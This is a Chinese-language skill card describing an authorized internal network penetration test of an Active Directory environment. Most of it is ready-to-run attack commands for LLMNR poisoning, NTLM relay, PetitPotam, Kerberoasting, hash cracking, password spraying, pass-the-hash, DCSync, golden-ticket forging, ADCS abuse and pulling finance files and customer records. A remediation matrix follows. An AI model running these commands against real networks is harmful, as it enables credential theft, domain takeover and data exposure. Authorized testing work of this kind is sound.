| name | conducting-internal-network-penetration-test |
| description | 执行内部网络渗透测试,模拟内部威胁或后渗透攻击者,以识别企业网络内的横向移动路径、权限提升向量和敏感数据暴露情况。 |
| domain | cybersecurity |
| subdomain | penetration-testing |
| tags | ["internal-pentest","lateral-movement","privilege-escalation","Responder","Impacket","assumed-breach","network-security"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
执行内部网络渗透测试
概述
内部网络渗透测试模拟已获得内部网络访问权限的攻击者或恶意内部人员。测试人员以"假设已入侵"的立场进行操作——通常是标准域工作站或网络接口——并尝试横向移动、权限提升、凭据收割和数据窃取,以确定已入侵端点的爆炸半径。
前置条件
- 已签署包含内部网络范围的交战规则
- 网络访问:物理以太网接口或内部 VLAN 的 VPN 连接
- 标准域用户凭据(假设已入侵模型)或未认证访问
- 安装了 Kali Linux、Impacket、Responder、BloodHound 的测试笔记本
- 与 IT/SOC 协调监控和紧急联系方式
阶段一:网络发现和枚举
初始网络侦察
ip addr show
ip route show
cat /etc/resolv.conf
arp-scan --localnet --interface eth0
nmap -sn 10.0.0.0/8 --exclude 10.0.0.1 -oG internal_hosts.gnmap
nmap -sn 172.16.0.0/12 -oG internal_hosts_172.gnmap
nmap -sn 192.168.0.0/16 -oG internal_hosts_192.gnmap
grep "Status: Up" internal_hosts.gnmap | awk '{print $2}' > live_hosts.txt
nmap -sS -sV -T4 -iL live_hosts.txt -oA internal_tcp_scan
nmap -p 445 --open -iL live_hosts.txt -oG smb_hosts.gnmap
nmap -p 3389 --open -iL live_hosts.txt -oG rdp_hosts.gnmap
nmap -p 22 --open -iL live_hosts.txt -oG ssh_hosts.gnmap
nmap -p 1433,3306,5432,1521,27017 --open -iL live_hosts.txt -oG db_hosts.gnmap
活动目录枚举
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --shares
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --users
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --groups
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName memberOf
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --lsa
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local -ns 10.0.0.5 -c all
enum4linux-ng -A 10.0.0.5 -u 'testuser' -p 'Password123'
网络服务枚举
smbclient -L //10.0.0.10 -U 'testuser%Password123'
smbmap -H 10.0.0.10 -u 'testuser' -p 'Password123' -R
snmpwalk -v2c -c public 10.0.0.1
dig axfr corp.local @10.0.0.5
showmount -e 10.0.0.15
impacket-mssqlclient 'corp.local/testuser:Password123@10.0.0.20' -windows-auth
阶段二:凭据攻击
网络凭据捕获
sudo responder -I eth0 -dwPv
cat /usr/share/responder/logs/NTLMv2-*.txt
sudo mitm6 -d corp.local
impacket-ntlmrelayx -tf smb_targets.txt -smb2support -socks
python3 PetitPotam.py -u 'testuser' -p 'Password123' -d corp.local \
attacker_ip 10.0.0.5
密码攻击
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
netexec smb 10.0.0.5 -u users.txt -p 'Spring2025!' --no-bruteforce
netexec smb 10.0.0.5 -u users.txt -p 'Company2025!' --no-bruteforce
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
-outputfile kerberoast_hashes.txt
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
-outputfile asrep_hashes.txt
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
阶段三:漏洞利用和横向移动
横向移动技术
impacket-psexec 'corp.local/admin@10.0.0.30' -hashes :aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b
impacket-wmiexec 'corp.local/admin:AdminPass123@10.0.0.30'
evil-winrm -i 10.0.0.30 -u admin -p 'AdminPass123'
impacket-smbexec 'corp.local/admin:AdminPass123@10.0.0.30'
xfreerdp /v:10.0.0.30 /u:admin /p:'AdminPass123' /cert-ignore /dynamic-resolution
ssh -D 9050 user@10.0.0.40
proxychains nmap -sT -p 80,443,445,3389 10.10.0.0/24
权限提升
meterpreter> getsystem
meterpreter> run post/multi/recon/local_exploit_suggester
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks"
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows" | findstr /i /v """
# Linux 权限提升
./linpeas.sh
sudo -l
find / -perm -4000 -type f 2>/dev/null
cat /etc/crontab
域升级
impacket-secretsdump 'corp.local/domainadmin:DaPass123@10.0.0.5' -just-dc
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain corp.local administrator
impacket-ticketer -nthash <service_hash> -domain-sid S-1-5-21-... \
-domain corp.local -spn MSSQL/db01.corp.local administrator
certipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5
certipy req -u 'testuser@corp.local' -p 'Password123' -target ca01.corp.local \
-template VulnerableTemplate -ca CORP-CA -upn administrator@corp.local
阶段四:数据访问和影响演示
smbclient //10.0.0.10/Finance -U 'domainadmin%DaPass123'
> dir
> get Q4_Financial_Report.xlsx
impacket-mssqlclient 'sa:DbPassword123@10.0.0.20'
SQL> SELECT name FROM sys.databases;
SQL> SELECT TOP 10 * FROM customers;
echo "PENTEST-PROOF-INTERNAL-$(date +%Y%m%d)" > /tmp/proof.txt
阶段五:报告
攻击路径文档
攻击路径 1:通过 LLMNR 投毒实现域入侵
步骤 1:LLMNR/NBT-NS 投毒捕获 NTLMv2 哈希(T1557.001)
步骤 2:离线破解哈希 — 用户:jsmith,密码:Welcome2025!
步骤 3:jsmith 在 WS042 上有本地管理员权限 — 通过 PsExec 横向移动(T1021.002)
步骤 4:Mimikatz 从 WS042 内存中提取 DA 凭据(T1003.001)
步骤 5:使用 DA 凭据执行 DCSync — 提取所有域哈希(T1003.006)
影响:从未认证网络位置实现完整域入侵
发现严重性矩阵
| 发现 | CVSS | MITRE ATT&CK | 修复措施 |
|---|
| LLMNR/NBT-NS 投毒 | 8.1 | T1557.001 | 通过 GPO 禁用 LLMNR/NBT-NS |
| Kerberoastable 服务账户 | 7.5 | T1558.003 | 使用 gMSA,25+ 字符密码 |
| 本地管理员复用 | 8.4 | T1078 | 部署 LAPS,使用唯一本地管理员密码 |
| 弱域密码 | 7.2 | T1110 | 强制 14+ 字符最小长度,黑名单常用密码 |
| 不受限的 DCSync | 9.8 | T1003.006 | 审计复制权限,实施分层管理员模型 |
工具参考
| 工具 | 用途 |
|---|
| Responder | LLMNR/NBT-NS/mDNS 投毒 |
| Impacket | AD 攻击套件(secretsdump、psexec、wmiexec 等) |
| BloodHound | AD 攻击路径可视化 |
| NetExec(CrackMapExec) | 网络服务枚举和密码喷洒 |
| Evil-WinRM | PowerShell 远程处理客户端 |
| Certipy | AD 证书服务漏洞利用 |
| Mimikatz | Windows 凭据提取 |
| Hashcat | 密码哈希破解 |
| Nmap | 网络扫描和枚举 |
| LinPEAS/WinPEAS | 权限提升枚举 |
参考资料